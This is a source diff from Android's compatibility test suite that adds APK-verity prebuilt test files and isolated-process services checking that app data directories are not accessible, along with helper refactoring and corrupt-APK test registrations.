diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk
new file mode 100644
index 0000000..55542bb4e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk
new file mode 100644
index 0000000..55542bb4e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..db8b3ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm
new file mode 100644
index 0000000..e53a861
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..eab5745
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk
new file mode 100644
index 0000000..49265ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm
new file mode 100644
index 0000000..75396f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..b39c3b5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk
new file mode 100644
index 0000000..6d08ba5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk
new file mode 100644
index 0000000..6d08ba5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..285e58b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm
new file mode 100644
index 0000000..e53a861
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..eab5745
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk
new file mode 100644
index 0000000..49265ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm
new file mode 100644
index 0000000..75396f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..b39c3b5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk
new file mode 100644
index 0000000..6d08ba5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk
new file mode 100644
index 0000000..6d08ba5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..285e58b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm
new file mode 100644
index 0000000..e53a861
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..eab5745
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk
new file mode 100644
index 0000000..49265ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm
new file mode 100644
index 0000000..75396f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..b39c3b5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index 8f4ed27..1dc84e3 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -15,7 +15,7 @@
 android_test_helper_app {
     name: "CtsAppDataIsolationAppA",
     defaults: ["cts_support_defaults"],
-    srcs: ["common/src/**/*.java", "AppA/src/**/*.java"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
     sdk_version: "current",
     static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
     libs: ["android.test.base.stubs"],
@@ -35,7 +35,7 @@
 android_test_helper_app {
     name: "CtsAppDataIsolationAppSharedA",
     defaults: ["cts_support_defaults"],
-    srcs: ["common/src/**/*.java", "AppA/src/**/*.java"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
     sdk_version: "current",
     static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
     libs: ["android.test.base.stubs"],
@@ -55,7 +55,7 @@
 android_test_helper_app {
     name: "CtsAppDataIsolationAppDirectBootA",
     defaults: ["cts_support_defaults"],
-    srcs: ["common/src/**/*.java", "AppA/src/**/*.java"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
     sdk_version: "current",
     static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
     libs: ["android.test.base.stubs"],
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest.xml
index f02a66e..9e89506 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest.xml
@@ -19,6 +19,13 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <service android:name=".IsolatedService"
+                 android:process=":Isolated"
+                 android:isolatedProcess="true"/>
+        <service android:name=".AppZygoteIsolatedService"
+                 android:process=":Isolated2"
+                 android:isolatedProcess="true"
+                 android:useAppZygote="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/aidl/com/android/cts/appdataisolation/appa/IIsolatedService.aidl b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/aidl/com/android/cts/appdataisolation/appa/IIsolatedService.aidl
new file mode 100644
index 0000000..061f855
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/aidl/com/android/cts/appdataisolation/appa/IIsolatedService.aidl
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appdataisolation.appa;
+
+interface IIsolatedService {
+    void assertDataIsolated();
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index ee3a683..4e8cadf 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -31,16 +31,21 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
+import android.os.IBinder;
 import android.support.test.uiautomator.UiDevice;
 import android.view.KeyEvent;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.cts.appdataisolation.common.FileUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -54,7 +59,7 @@
 @SmallTest
 public class AppATests {
 
-    private static final String APPB_PKG = "com.android.cts.appdataisolation.appb";
+    private static final long BIND_SERVICE_TIMEOUT_MS = 5000;
 
     private Context mContext;
     private UiDevice mDevice;
@@ -63,6 +68,21 @@
     private String mExternalDataPath;
     private String mObbPath;
 
+    private volatile CountDownLatch mServiceConnectedLatch;
+    private IIsolatedService mService;
+    private final ServiceConnection mServiceConnection = new ServiceConnection() {
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = IIsolatedService.Stub.asInterface(service);
+            mServiceConnectedLatch.countDown();
+        }
+    };
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
@@ -161,12 +181,12 @@
 
     @Test
     public void testCannotAccessAppBDataDir() throws Exception {
-        ApplicationInfo applicationInfo = mContext.getPackageManager().getApplicationInfo(APPB_PKG,
-                0);
+        ApplicationInfo applicationInfo = mContext.getPackageManager().getApplicationInfo(
+                FileUtils.APPB_PKG,0);
         assertDirDoesNotExist(applicationInfo.dataDir);
         assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
-        assertDirDoesNotExist("/data/data/" + APPB_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + APPB_PKG);
+        assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -188,14 +208,11 @@
         mDevice.waitForIdle();
     }
 
-    private String replacePackageAWithPackageB(String path) {
-        return path.replace(mContext.getPackageName(), APPB_PKG);
-    }
-
     private void testCanNotAccessAppBExternalDirs() {
-        String appBExternalDir = replacePackageAWithPackageB(
+        String appBExternalDir = FileUtils.replacePackageAWithPackageB(
                 mContext.getExternalFilesDir("").getParentFile().getAbsolutePath());
-        String appBObbDir = replacePackageAWithPackageB(mContext.getObbDir().getAbsolutePath());
+        String appBObbDir = FileUtils.replacePackageAWithPackageB(
+                mContext.getObbDir().getAbsolutePath());
         assertDirDoesNotExist(appBExternalDir);
         assertDirDoesNotExist(appBObbDir);
     }
@@ -208,7 +225,7 @@
         final BroadcastReceiver receiver = new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
-                switch(intent.getAction()) {
+                switch (intent.getAction()) {
                     case Intent.ACTION_USER_UNLOCKED:
                         unlocked.countDown();
                         break;
@@ -238,4 +255,32 @@
         testCannotAccessAppBDataDir();
         testCanNotAccessAppBExternalDirs();
     }
-}
+
+    @Test
+    public void testIsolatedProcess() throws Exception {
+        mServiceConnectedLatch = new CountDownLatch(1);
+        Intent serviceIntent = new Intent(mContext, IsolatedService.class);
+        try {
+            mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+            assertTrue("Timed out while waiting to bind to isolated service",
+                    mServiceConnectedLatch.await(BIND_SERVICE_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mService.assertDataIsolated();
+        } finally {
+            mContext.unbindService(mServiceConnection);
+        }
+    }
+
+    @Test
+    public void testAppZygoteIsolatedProcess() throws Exception {
+        mServiceConnectedLatch = new CountDownLatch(1);
+        Intent serviceIntent = new Intent(mContext, AppZygoteIsolatedService.class);
+        try {
+            mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+            assertTrue("Timed out while waiting to bind to isolated service",
+                    mServiceConnectedLatch.await(BIND_SERVICE_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mService.assertDataIsolated();
+        } finally {
+            mContext.unbindService(mServiceConnection);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppZygoteIsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppZygoteIsolatedService.java
new file mode 100644
index 0000000..49aa2b8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppZygoteIsolatedService.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appdataisolation.appa;
+
+public class AppZygoteIsolatedService extends IsolatedService {
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
new file mode 100644
index 0000000..5b1ec66
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appdataisolation.appa;
+
+import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
+import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.os.IBinder;
+import android.os.RemoteException;
+
+import com.android.cts.appdataisolation.common.FileUtils;
+
+public class IsolatedService extends Service {
+
+    private final IIsolatedService.Stub mBinder = new IIsolatedService.Stub() {
+
+        // Test cannot access its data directory, and also can't see other apps data dir.
+        public void assertDataIsolated() throws RemoteException {
+            try {
+                ApplicationInfo applicationInfo = getApplicationInfo();
+                assertDirDoesNotExist(applicationInfo.dataDir);
+                assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
+                assertDirDoesNotExist("/data/data/" + getPackageName());
+                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + getPackageName());
+                assertDirIsNotAccessible("/data/misc/profiles/ref");
+
+                assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
+                        applicationInfo.dataDir));
+                assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
+                        applicationInfo.deviceProtectedDataDir));
+                assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+
+                assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
+                        applicationInfo.dataDir));
+                assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
+                        applicationInfo.deviceProtectedDataDir));
+                assertDirDoesNotExist("/data/data/" + FileUtils.NOT_INSTALLED_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.NOT_INSTALLED_PKG);
+            } catch (Throwable e) {
+                throw new IllegalStateException(e.getMessage());
+            }
+        }
+
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 1a46d6a..819dcad 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -37,6 +37,10 @@
  */
 public class FileUtils {
 
+    public static final String APPA_PKG = "com.android.cts.appdataisolation.appa";
+    public static final String APPB_PKG = "com.android.cts.appdataisolation.appb";
+    public static final String NOT_INSTALLED_PKG = "com.android.cts.appdataisolation.not_installed_pkg";
+
     public static final String CE_DATA_FILE_NAME = "ce_data_file";
     public static final String DE_DATA_FILE_NAME = "de_data_file";
     public final static String EXTERNAL_DATA_FILE_NAME = "external_data_file";
@@ -72,7 +76,7 @@
             Os.mkdir(path, 0700);
             fail("Should not able to mkdir() on " + path);
         } catch (ErrnoException e) {
-            assertEquals(e.errno, OsConstants.EACCES);
+            assertEquals(e.errno, OsConstants.EACCES, "Error on path: " + path);
         }
     }
 
@@ -112,4 +116,12 @@
         File file = new File(path, name);
         file.createNewFile();
     }
+
+    public static String replacePackageAWithPackageB(String path) {
+        return path.replace(APPA_PKG, APPB_PKG);
+    }
+
+    public static String replacePackageAWithNotInstalledPkg(String path) {
+        return path.replace(APPA_PKG, NOT_INSTALLED_PKG);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 915d9a9..0994422 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -32,4 +32,28 @@
         "vts10",
         "general-tests",
     ]
+}
+
+android_test_import {
+    name: "CtsCorruptApkTests_Unaligned_Q",
+    apk: "unaligned_Q.apk",
+    presigned: true,
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
+}
+
+android_test_import {
+    name: "CtsCorruptApkTests_Unaligned_R",
+    apk: "unaligned_R.apk",
+    presigned: true,
+    preprocessed: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
 }
\ No newline at end of file
